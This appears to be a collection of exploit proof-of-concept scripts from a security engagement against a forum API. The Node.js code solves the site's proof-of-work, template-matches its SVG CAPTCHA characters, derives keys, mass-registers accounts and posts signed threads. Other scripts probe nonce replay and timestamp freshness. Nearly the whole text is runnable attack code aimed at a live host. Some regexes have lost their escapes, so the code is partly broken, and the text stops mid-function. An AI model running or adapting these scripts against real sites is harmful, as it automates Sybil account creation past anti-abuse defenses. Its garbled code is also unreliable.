const kp = await subtle.generateKey({name:'ECDSA',namedCurve:'P-256'},true,['sign','verify']); const pubB64 = Buffer.from(await subtle.exportKey('spki',kp.publicKey)).toString('base64'); const privB64 = Buffer.from(await subtle.exportKey('pkcs8',kp.privateKey)).toString('base64'); const user = 'z'+Date.now().toString(36).substring(4)+crypto.randomBytes(2).toString('hex'); const pass = crypto.randomBytes(16).toString('hex'); const name = user.toLowerCase(); const DOMAIN = 'c2.secure.forum'; console.log('[4] PBKDF2'); const baseKey = await subtle.importKey('raw',enc.encode(pass),{name:'PBKDF2'},false,['deriveKey','deriveBits']); const authKey = Array.from(new Uint8Array(await subtle.deriveBits({name:'PBKDF2',salt:enc.encode(DOMAIN+':'+name+':auth:v2'),iterations:600000,hash:'SHA-256'},baseKey,256))).map(b=>b.toString(16).padStart(2,'0')).join(''); const aesKey = await subtle.deriveKey({name:'PBKDF2',salt:enc.encode(DOMAIN+':'+name+':enc:v2'),iterations:600000,hash:'SHA-256'},baseKey,{name:'AES-GCM',length:256},true,['encrypt','decrypt']); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPrivStr = Buffer.from(iv).toString('base64')+':'+Buffer.from(await subtle.encrypt({name:'AES-GCM',iv},aesKey,await subtle.exportKey('pkcs8',kp.privateKey))).toString('base64'); console.log('[5] Register:', user); const reg = await fetch('POST','/api/auth/register',{codename:user,password:authKey,publicKeySPKI:pubB64,encryptedPrivateKey:encPrivStr,email:'',captchaInput:captchaText,captchaToken:cap.b.captchaToken,powChallenge:cap.b.powChallenge,powSalt}); if (reg.s!==201) { console.log(' FAIL:',reg.b); return; } console.log(' OK'); console.log('[6] Login'); const login = await fetch('POST','/api/auth/login',{codename:user,password:authKey}); if (login.s!==200) { console.log(' FAIL:',login.b); return; } const token = login.b.token; console.log(' token:', token.substring(0,16)+'...'); const nonce = crypto.randomUUID(); const ts = new Date().toISOString(); const con1 = 'Nonce test first use'; console.log(' [Test 1] Create thread with nonce:', nonce); const po1 = {op:'create-thread',title:'Nonce Test 1',content:con1,author:user,nonce,timestamp:ts}; const p1 = JSON.stringify(po1, Object.keys(po1).sort()); const s1 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p1))).toString('base64'); const t1 = await fetch('POST','/api/threads',{title:'Nonce Test 1',content:con1,category:'web-security',signature:s1,nonce,timestamp:ts},{'Authorization':'Bearer '+token}); console.log(' Status:', t1.s, JSON.stringify(t1.b)); console.log(' [Test 2] Reuse same nonce (should fail with FRESHNESS_CHECK):'); const con2 = 'Second use of same nonce - should be rejected'; const po2 = {op:'create-thread',title:'Nonce Test 2',content:con2,author:user,nonce,timestamp:ts}; const p2 = JSON.stringify(po2, Object.keys(po2).sort()); const s2 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p2))).toString('base64'); const t2 = await fetch('POST','/api/threads',{title:'Nonce Test 2',content:con2,category:'web-security',signature:s2,nonce,timestamp:ts},{'Authorization':'Bearer '+token}); console.log(' Status:', t2.s, JSON.stringify(t2.b)); const con3 = '5 minute future boundary test'; console.log(' [Test 3] Create thread with timestamp exactly 5min in future (boundary - should pass):'); const futureTs = new Date(Date.now() + 5*60*1000).toISOString(); const nonce2 = crypto.randomUUID(); const po3 = {op:'create-thread',title:'Boundary Test',content:con3,author:user,nonce:nonce2,timestamp:futureTs}; const p3 = JSON.stringify(po3, Object.keys(po3).sort()); const s3 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p3))).toString('base64'); const t3 = await fetch('POST','/api/threads',{title:'Boundary Test',content:con3,category:'web-security',signature:s3,nonce:nonce2,timestamp:futureTs},{'Authorization':'Bearer '+token}); console.log(' Status:', t3.s, JSON.stringify(t3.b)); const con4 = '5 minutes + 1 second past'; console.log(' [Test 4] Timestamp 5min+1s in past (should fail FRESHNESS_CHECK):'); const pastTs = new Date(Date.now() - 5*60*1000 - 1000).toISOString(); const nonce3 = crypto.randomUUID(); const po4 = {op:'create-thread',title:'Past Test',content:con4,author:user,nonce:nonce3,timestamp:pastTs}; const p4 = JSON.stringify(po4, Object.keys(po4).sort()); const s4 = Buffer.from(await subtle.sign({name:'ECDSA',hash:'SHA-256'},kp.privateKey,enc.encode(p4))).toString('base64'); const t4 = await fetch('POST','/api/threads',{title:'Past Test',content:con4,category:'web-security',signature:s4,nonce:nonce3,timestamp:pastTs},{'Authorization':'Bearer '+token}); console.log(' Status:', t4.s, JSON.stringify(t4.b)); console.log(' === Results Summary ==='); console.log('Nonce reuse immediately: ', t2.s===400 && t2.b?.error?.includes('FRESHNESS') ? 'BLOCKED (expected)' : 'PASSED (vulnerability!)'); console.log('5min future boundary: ', t3.s===201 ? 'PASSED' : 'BLOCKED - '+JSON.stringify(t3.b)); console.log('5min+1s past: ', t4.s===400 && t4.b?.error?.includes('FRESHNESS') ? 'BLOCKED (expected)' : 'PASSED - '+JSON.stringify(t4.b)); } main().catch(e=>console.error('Err:',e)); import https from 'https'; import crypto from 'crypto'; async function main() { const subtle = globalThis.crypto.subtle; const enc = new TextEncoder(); const kp = await subtle.generateKey({name:'ECDSA',namedCurve:'P-256'},true,['sign','verify']); const pubSpki = await subtle.exportKey('spki', kp.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', kp.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); console.log('PubKey SPKI base64:', pubB64); console.log('PrivKey PKCS8 base64:', privB64); const title = 'Nonce Test 1'; const content = 'First use of nonce'; const author = 'testuser'; const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const payloadObj = { op: 'create-thread', title, content, author, nonce, timestamp }; const payload = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); console.log('Payload:', payload); const sigBytes = await subtle.sign({name:'ECDSA',hash:'SHA-256'}, kp.privateKey, enc.encode(payload)); const sigB64 = Buffer.from(sigBytes).toString('base64'); console.log('Signature (WebCrypto):', sigB64); try { const clean = pubB64.replace(/[s ]+/g, ''); const pem = \`-----BEGIN PUBLIC KEY----- \${clean.match(/.{1,64}/g).join(' ')} -----END PUBLIC KEY-----\`; console.log('PEM format:', pem.substring(0, 50) + '...'); const verify = crypto.createVerify('SHA256'); verify.update(payload, 'utf8'); verify.end(); const result = verify.verify( { key: pem, format: 'pem', type: 'spki', dsaEncoding: 'ieee-p1363' }, Buffer.from(sigB64, 'base64') ); console.log('Node crypto verify result:', result); const wcResult = await subtle.verify({name:'ECDSA',hash:'SHA-256'}, kp.publicKey, sigBytes, enc.encode(payload)); console.log('WebCrypto verify result:', wcResult); } catch (e) { console.error('Verify error:', e.message); } console.log(' --- Alternative payload constructions ---'); const po1 = {op:'create-thread', title, content, author, nonce, timestamp}; const p1 = JSON.stringify(po1, Object.keys(po1).sort()); console.log('p1:', p1); console.log(' matches original:', p1 === payload); const ts = timestamp; const po2 = {op:'create-thread', title, content, author, nonce, timestamp: ts}; const p2 = JSON.stringify(po2, Object.keys(po2).sort()); console.log('p2:', p2); console.log(' matches original:', p2 === payload); } main().catch(e => console.error('Error:', e)); Blackbox Pt 1: Bezier Curves & CAPTCHA Solvers
Attached Exploit PoCs (Phase 7)
import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; function buildTemplates() { const templates = {}; for (const [char, commands] of Object.entries(CHAR_PATHS)) { const points = []; for (const [cmd, x, y] of commands) { points.push({ cmd, x, y }); } templates[char] = points; } return templates; } const TEMPLATES = buildTemplates(); function fetch(method, path, body = null) { return new Promise((resolve, reject) => { const url = new URL(path, API); const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname + url.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', }, }, (res) => { let d = ''; res.on('data', c => d += c); res.on('end', () => { try { resolve({ status: res.statusCode, headers: res.headers, body: JSON.parse(d) }); } catch { resolve({ status: res.statusCode, headers: res.headers, body: d }); } }); }); req.on('error', reject); if (body) req.write(JSON.stringify(body)); req.end(); }); } function parseSvgCaptcha(svgBase64) { const svg = Buffer.from(svgBase64, 'base64').toString(); const chars = []; const re = /<gs+transform="([^"]*)"[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let m; while ((m = re.exec(svg)) !== null) { const d = m[2].replace(/s+/g, ' ').trim(); const parts = d.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const points = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: parseFloat(x), y: parseFloat(y) }; }); const normPoints = points.map(p => ({ cmd: p.cmd, x: Math.round(p.x * 100) / 100, y: Math.round(p.y * 100) / 100, })); chars.push(normPoints); } return chars; } function matchCharacter(normPoints) { let bestChar = 'X'; let bestScore = Infinity; for (const [char, template] of Object.entries(TEMPLATES)) { if (normPoints.length !== template.length) continue; let score = 0; let valid = true; for (let i = 0; i < template.length; i++) { const np = normPoints[i]; const tp = template[i]; if (np.cmd !== tp[0]) { valid = false; break; } const dx = Math.abs(np.x - tp[1]); const dy = Math.abs(np.y - tp[2]); if (dx > 0.5 || dy > 0.5) { valid = false; break; } score += dx + dy; } if (valid && score < bestScore) { bestScore = score; bestChar = char; } } return bestChar; } function solvePoW(challenge, difficulty) { const target = '0'.repeat(difficulty); for (let nonce = 0; nonce < 20_000_000; nonce++) { const hash = crypto.createHash('sha256').update(challenge + nonce).digest('hex'); if (hash.startsWith(target)) return String(nonce); } throw new Error('PoW unsolved'); } async function fullExploit() { console.log('[1] Fetch CAPTCHA challenge'); const cap = await fetch('GET', '/api/auth/captcha'); if (cap.status !== 200) { console.log('FAIL:', cap.body); return; } const { captchaSvg, captchaToken, powChallenge, powDifficulty } = cap.body; console.log(\` powChallenge=\${powChallenge} difficulty=\${powDifficulty}\`); console.log('[2] Solve PoW'); const powSalt = solvePoW(powChallenge, powDifficulty); console.log(\` powSalt=\${powSalt}\`); console.log('[3] Solve CAPTCHA'); const charPoints = parseSvgCaptcha(captchaSvg); console.log(\` Found \${charPoints.length} characters\`); let captchaText = ''; for (let i = 0; i < charPoints.length; i++) { const ch = matchCharacter(charPoints[i]); captchaText += ch; console.log(\` Char \${i+1}: matched='\${ch}' (\${charPoints[i].length} points)\`); } console.log(\` Captcha: \${captchaText}\`); console.log('[4] Generate keys'); const subtle = globalThis.crypto.subtle; const keyPair = await subtle.generateKey({ name: 'ECDSA', namedCurve: 'P-256' }, true, ['sign', 'verify']); const pubSpki = await subtle.exportKey('spki', keyPair.publicKey); const privPkcs8 = await subtle.exportKey('pkcs8', keyPair.privateKey); const pubB64 = Buffer.from(pubSpki).toString('base64'); const privB64 = Buffer.from(privPkcs8).toString('base64'); const username = 'x' + Date.now().toString(36).substring(4) + crypto.randomBytes(2).toString('hex'); const passphrase = crypto.randomBytes(16).toString('hex'); console.log(\` user=\${username}\`); console.log('[5] Derive keys via PBKDF2'); const enc = new TextEncoder(); const baseKey = await subtle.importKey('raw', enc.encode(passphrase), { name: 'PBKDF2' }, false, ['deriveKey', 'deriveBits']); const DOMAIN = 'c2.secure.forum'; const name = username.toLowerCase(); const authSalt = enc.encode(\`\${DOMAIN}:\${name}:auth:v2\`); const authBits = await subtle.deriveBits({ name: 'PBKDF2', salt: authSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, 256); const authKey = Array.from(new Uint8Array(authBits)).map(b => b.toString(16).padStart(2, '0')).join(''); const encSalt = enc.encode(\`\${DOMAIN}:\${name}:enc:v2\`); const aesKey = await subtle.deriveKey( { name: 'PBKDF2', salt: encSalt, iterations: 600000, hash: 'SHA-256' }, baseKey, { name: 'AES-GCM', length: 256 }, true, ['encrypt', 'decrypt'] ); const iv = globalThis.crypto.getRandomValues(new Uint8Array(12)); const encPriv = await subtle.encrypt({ name: 'AES-GCM', iv }, aesKey, privPkcs8); const encPrivStr = \`\${Buffer.from(iv).toString('base64')}:\${Buffer.from(encPriv).toString('base64')}\`; console.log('[6] Register'); const regBody = { codename: username, password: authKey, publicKeySPKI: pubB64, encryptedPrivateKey: encPrivStr, email: '', captchaInput: captchaText, captchaToken, powChallenge, powSalt, }; const reg = await fetch('POST', '/api/auth/register', regBody); console.log(\` status=\${reg.status}\`, reg.body); if (reg.status === 201 || reg.status === 200) { console.log(' [✓] REGISTRATION SUCCESS!'); console.log(\` \${username} : \${passphrase}\`); console.log(' [7] Login'); const loginRes = await fetch('POST', '/api/auth/login', { codename: username, password: authKey }); console.log(\` status=\${loginRes.status}\`, loginRes.body ? 'OK' : 'FAIL'); if (loginRes.status === 200 && loginRes.body.token) { const token = loginRes.body.token; console.log(\` token=\${token.substring(0,20)}...\`); console.log(' [8] Create thread'); const nonce = crypto.randomUUID(); const timestamp = new Date().toISOString(); const payloadObj = { op: 'create-thread', title: 'SIGNAL_ACQUIRED', content: 'Proof of concept: Sybil registration bypass achieved.', author: username, nonce, timestamp }; const payload = JSON.stringify(payloadObj, Object.keys(payloadObj).sort()); const sigBytes = await subtle.sign({ name: 'ECDSA', hash: 'SHA-256' }, keyPair.privateKey, enc.encode(payload)); const signature = Buffer.from(sigBytes).toString('base64'); const threadRes = await fetch('POST', '/api/threads', { title: 'Sybil Registration Proof', content: 'Automated registration bypassing PoW (SHA-256/dif=5) + SVG vector CAPTCHA + honeypot.', category: 'web-security', signature, nonce, timestamp, }, { 'Authorization': \`Bearer \${token}\` }); console.log(\` status=\${threadRes.status}\`, threadRes.body); } return { username, passphrase }; } return null; } fullExploit().then(r => { if (r) console.log(' Done!'); else console.log(' Failed.'); }).catch(e => console.error('Error:', e)); import https from 'https'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A': [['M', 0, 10], ['L', 5, 0], ['L', 10, 10], ['M', 2, 6], ['L', 8, 6]], 'B': [['M', 0, 0], ['L', 7, 0], ['L', 9, 2], ['L', 9, 4], ['L', 7, 5], ['L', 0, 5], ['L', 8, 5], ['L', 10, 7], ['L', 10, 9], ['L', 8, 10], ['L', 0, 10], ['L', 0, 0]], 'C': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8]], 'D': [['M', 0, 0], ['L', 6, 0], ['L', 10, 3], ['L', 10, 7], ['L', 6, 10], ['L', 0, 10], ['L', 0, 0]], 'E': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['L', 10, 10], ['M', 0, 5], ['L', 8, 5]], 'F': [['M', 10, 0], ['L', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 5]], 'G': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 5], ['L', 5, 5]], 'H': [['M', 0, 0], ['L', 0, 10], ['M', 10, 0], ['L', 10, 10], ['M', 0, 5], ['L', 10, 5]], 'J': [['M', 8, 0], ['L', 8, 8], ['L', 6, 10], ['L', 2, 10], ['L', 0, 8]], 'K': [['M', 0, 0], ['L', 0, 10], ['M', 0, 5], ['L', 8, 0], ['M', 0, 5], ['L', 8, 10]], 'L': [['M', 0, 0], ['L', 0, 10], ['L', 10, 10]], 'M': [['M', 0, 10], ['L', 0, 0], ['L', 5, 5], ['L', 10, 0], ['L', 10, 10]], 'N': [['M', 0, 10], ['L', 0, 0], ['L', 10, 10], ['L', 10, 0]], 'P': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5]], 'Q': [['M', 3, 0], ['L', 7, 0], ['L', 10, 3], ['L', 10, 7], ['L', 7, 10], ['L', 3, 10], ['L', 0, 7], ['L', 0, 3], ['L', 3, 0], ['M', 6, 6], ['L', 10, 10]], 'R': [['M', 0, 10], ['L', 0, 0], ['L', 8, 0], ['L', 10, 2.5], ['L', 8, 5], ['L', 0, 5], ['M', 5, 5], ['L', 10, 10]], 'S': [['M', 10, 2], ['L', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10], ['L', 0, 8]], 'T': [['M', 0, 0], ['L', 10, 0], ['M', 5, 0], ['L', 5, 10]], 'U': [['M', 0, 0], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 0]], 'V': [['M', 0, 0], ['L', 5, 10], ['L', 10, 0]], 'W': [['M', 0, 0], ['L', 2, 10], ['L', 5, 5], ['L', 8, 10], ['L', 10, 0]], 'X': [['M', 0, 0], ['L', 10, 10], ['M', 10, 0], ['L', 0, 10]], 'Y': [['M', 0, 0], ['L', 5, 5], ['L', 10, 0], ['M', 5, 5], ['L', 5, 10]], 'Z': [['M', 0, 0], ['L', 10, 0], ['L', 0, 10], ['L', 10, 10]], '2': [['M', 0, 2], ['L', 2, 0], ['L', 8, 0], ['L', 10, 2], ['L', 10, 5], ['L', 0, 10], ['L', 10, 10]], '3': [['M', 0, 0], ['L', 10, 0], ['L', 5, 5], ['L', 10, 5], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '4': [['M', 0, 0], ['L', 0, 6], ['L', 10, 6], ['M', 8, 0], ['L', 8, 10]], '5': [['M', 10, 0], ['L', 0, 0], ['L', 0, 4], ['L', 8, 4], ['L', 10, 6], ['L', 10, 8], ['L', 8, 10], ['L', 0, 10]], '6': [['M', 8, 0], ['L', 2, 0], ['L', 0, 2], ['L', 0, 8], ['L', 2, 10], ['L', 8, 10], ['L', 10, 8], ['L', 10, 6], ['L', 8, 5], ['L', 0, 5]], '7': [['M', 0, 0], ['L', 10, 0], ['L', 4, 10]], '8': [['M', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 4], ['L', 7, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['M', 3, 5], ['L', 7, 5], ['L', 10, 6], ['L', 10, 8], ['L', 7, 10], ['L', 3, 10], ['L', 0, 8], ['L', 0, 6], ['L', 3, 5]], '9': [['M', 10, 5], ['L', 3, 5], ['L', 0, 4], ['L', 0, 2], ['L', 3, 0], ['L', 7, 0], ['L', 10, 2], ['L', 10, 8], ['L', 8, 10], ['L', 2, 10]], }; function fetchCaptcha() { return new Promise((resolve, reject) => { const url = new URL('/api/auth/captcha', API); const req = https.request({ hostname: url.hostname, port: 443, path: url.pathname + url.search, method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', 'Referer': 'https://c2.noir0x63.org/', 'Origin': 'https://c2.noir0x63.org', }, }, (res) => { let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(JSON.parse(d))); }); req.on('error', reject); req.end(); }); } async function main() { const cap = await fetchCaptcha(); const svg = Buffer.from(cap.captchaSvg, 'base64').toString(); const re = /<gs+transform="([^"]*)"[^>]*>.*?<paths+d="([^"]*)"[^>]*/?>/gs; let idx = 0; let m; const templates = {}; for (const [char, commands] of Object.entries(CHAR_PATHS)) { templates[char] = commands.map(([cmd, x, y]) => ({ cmd, x, y })); } while ((m = re.exec(svg)) !== null) { const pathStr = m[2].replace(/s+/g, ' ').trim(); const parts = pathStr.match(/[ML]s+[d.-]+s+[d.-]+/g) || []; const rawPoints = parts.map(p => { const [cmd, x, y] = p.split(/s+/); return { cmd, x: Math.round(parseFloat(x) * 100) / 100, y: Math.round(parseFloat(y) * 100) / 100 }; }); console.log(\` === Char \${++idx} (\${rawPoints.length} points) ===\`); console.log(\` Raw: \${rawPoints.map(p => \`\${p.cmd}(\${p.x}, \${p.y})\`).join(' ')}\`); let best = 'X', bestScore = Infinity; for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length !== tpl.length) continue; let score = 0, ok = true; for (let i = 0; i < tpl.length; i++) { if (rawPoints[i].cmd !== tpl[i].cmd) { ok = false; break; } const dx = Math.abs(rawPoints[i].x - tpl[i].x); const dy = Math.abs(rawPoints[i].y - tpl[i].y); if (dx > 0.5 || dy > 0.5) { ok = false; break; } score += dx + dy; } if (ok && score < bestScore) { bestScore = score; best = char; } } console.log(\` Best match: \${best} (score=\${bestScore})\`); if (best === 'X') { console.log(\` Length \${rawPoints.length}: templates with same length:\`); for (const [char, tpl] of Object.entries(templates)) { if (rawPoints.length === tpl.length) { console.log(\` \${char}: \${tpl.map(p => \`\${p.cmd}(\${p.x},\${p.y})\`).join(' ')}\`); } } } } } main().catch(e => console.error(e)); import https from 'https'; import crypto from 'crypto'; const API = 'https://c2.noir0x63.org'; const CHAR_PATHS = { 'A':[['M',0,10],['L',5,0],['L',10,10],['M',2,6],['L',8,6]],'B':[['M',0,0],['L',7,0],['L',9,2],['L',9,4],['L',7,5],['L',0,5],['L',8,5],['L',10,7],['L',10,9],['L',8,10],['L',0,10],['L',0,0]],'C':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8]],'D':[['M',0,0],['L',6,0],['L',10,3],['L',10,7],['L',6,10],['L',0,10],['L',0,0]],'E':[['M',10,0],['L',0,0],['L',0,10],['L',10,10],['M',0,5],['L',8,5]],'F':[['M',10,0],['L',0,0],['L',0,10],['M',0,5],['L',8,5]],'G':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,5],['L',5,5]],'H':[['M',0,0],['L',0,10],['M',10,0],['L',10,10],['M',0,5],['L',10,5]],'J':[['M',8,0],['L',8,8],['L',6,10],['L',2,10],['L',0,8]],'K':[['M',0,0],['L',0,10],['M',0,5],['L',8,0],['M',0,5],['L',8,10]],'L':[['M',0,0],['L',0,10],['L',10,10]],'M':[['M',0,10],['L',0,0],['L',5,5],['L',10,0],['L',10,10]],'N':[['M',0,10],['L',0,0],['L',10,10],['L',10,0]],'P':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5]],'R':[['M',0,10],['L',0,0],['L',8,0],['L',10,2.5],['L',8,5],['L',0,5],['M',5,5],['L',10,10]],'S':[['M',10,2],['L',8,0],['L',2,0],['L',0,2],['L',0,4],['L',10,6],['L',10,8],['L',8,10],['L',2,10],['L',0,8]],'T':[['M',0,0],['L',10,0],['M',5,0],['L',5,10]],'U':[['M',0,0],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,0]],'V':[['M',0,0],['L',5,10],['L',10,0]],'W':[['M',0,0],['L',2,10],['L',5,5],['L',8,10],['L',10,0]],'X':[['M',0,0],['L',10,10],['M',10,0],['L',0,10]],'Y':[['M',0,0],['L',5,5],['L',10,0],['M',5,5],['L',5,10]],'Z':[['M',0,0],['L',10,0],['L',0,10],['L',10,10]],'2':[['M',0,2],['L',2,0],['L',8,0],['L',10,2],['L',10,5],['L',0,10],['L',10,10]],'3':[['M',0,0],['L',10,0],['L',5,5],['L',10,5],['L',10,8],['L',8,10],['L',0,10]],'4':[['M',0,0],['L',0,6],['L',10,6],['M',8,0],['L',8,10]],'5':[['M',10,0],['L',0,0],['L',0,4],['L',8,4],['L',10,6],['L',10,8],['L',8,10],['L',0,10]],'6':[['M',8,0],['L',2,0],['L',0,2],['L',0,8],['L',2,10],['L',8,10],['L',10,8],['L',10,6],['L',8,5],['L',0,5]],'7':[['M',0,0],['L',10,0],['L',4,10]],'8':[['M',3,0],['L',7,0],['L',10,2],['L',10,4],['L',7,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['M',3,5],['L',7,5],['L',10,6],['L',10,8],['L',7,10],['L',3,10],['L',0,8],['L',0,6],['L',3,5]],'9':[['M',10,5],['L',3,5],['L',0,4],['L',0,2],['L',3,0],['L',7,0],['L',10,2],['L',10,8],['L',8,10],['L',2,10]]}; const templates = {}; for (const [c, cmds] of Object.entries(CHAR_PATHS)) templates[c] = cmds.map(([cmd, x, y]) => ({ cmd, x, y })); function fetchJSON(method, path, body = null, extraHeaders = {}) { return new Promise((r, j) => { const u = new URL(path, API); const q = https.request({ hostname: u.hostname, port: 443, path: u.pathname + u.search, method, headers: { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0', 'Accept': 'application/json', ...extraHeaders }, }, (s) => { let d = ''; s.on('data', c => d += c); s.on('end', () => { try { r({ s: s.statusCode, b: JSON.parse(d) }); } catch { r({ s: s.statusCode, b: d }); } }); }); q.on('error', j); if (body) q.write(JSON.stringify(body)); q.end(); }); } function extractEndpointsFromBezier(d) { const points = []; const segs = d.match(/[MC][sS]*?(?=[MC]|$)/g) || []; for (const seg of segs) { const trimmed = seg.trim(); const cmd = trimmed[0]; const rest = trimmed.substring(1).trim(); const parts = rest.split(/s+/).filter(s => s.length > 0).map(parseFloat); if (cmd === 'M' && parts.length >= 2) { points.push({ cmd: 'M', x: Math.round(parts[0] * 100) / 100, y: Math.round(parts[1] * 100) / 100 }); } else if (cmd === 'C' && parts.length >= 6) { const ex = parts[parts.length - 2]; const ey = parts[parts.length - 